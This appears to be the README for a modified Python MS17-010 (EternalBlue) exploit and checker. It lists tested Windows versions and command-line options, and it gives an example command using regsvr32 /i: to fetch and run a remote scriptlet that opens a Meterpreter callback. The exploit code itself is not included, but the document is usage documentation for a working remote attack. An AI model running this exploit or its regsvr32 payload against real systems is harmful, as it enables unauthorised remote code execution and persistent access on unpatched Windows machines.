MS17-010: Python
All credit goes to Worawit:
Worawit Wang released a collection of Python exploits for MS17-010. These tools worked far more reliably than the Metasploit modules but didn't have much of a payload besides writing a pwned.txt to the C:/. However, Worawit Wang did add functionality for creating a service.
Korey McKinley wrote an article utilising that function to create a service which used regsvr32 to call back to Meterpreter and create a full Meterpreter connection. I'd never seen that path to exploitation, so I thought I'd modify zzz_exploit.py with Korey's logic and make the script more dynamic and user friendly.
However, the module Korey used in that blog article was not available in my version of Metasploit. It is now called web_delivery.
There are two pieces, zzz_checker.py and zzz_exploit.py. Both self-explanatory.
Exploit Usage
usage: zzz_exploit.py [-h] [-u] [-p] -t -c [-P] [--version]
Tested versions:
1 Windows 2016 x64
2 Windows 10 Pro Vuild 10240 x64
3 Windows 2012 R2 x64
4 Windows 8.1 x64
5 Windows 2008 R2 SP1 x64
6 Windows 7 SP1 x64
7 Windows 2008 SP1 x64
8 Windows 2003 R2 SP2 x64
9 Windows XP SP2 x64
10 Windows 8.1 x86
11 Windows 7 SP1 x86
12 Windows 2008 SP1 x86
13 Windows 2003 SP2 x86
14 Windows XP SP3 x86
15 Windows 2000 SP4 x86
optional arguments:
-h, --help show this help message and exit
-u , --user username to authenticate with
-p , --password password for specified user
-t , --target Target for exploitation
-c , --command Command to add to service
-P , --pipe Pipe to connect to
--version show program's version number and exit
Example: python zzz_exploit -t 192.168.0.1 -c 'regsvr32 /s /n /u /i:http://192.168.0.1:9000/1EsrjpXH2pWdgd.sct scrobj.dll'
Checker Usage
usage: zzz_checker.py [-h] -t [-c]
MS17-010 Checker
optional arguments:
-h, --help show this help message and exit
-t , --targets Target(s) to attack
-c , --credentials Credentials to use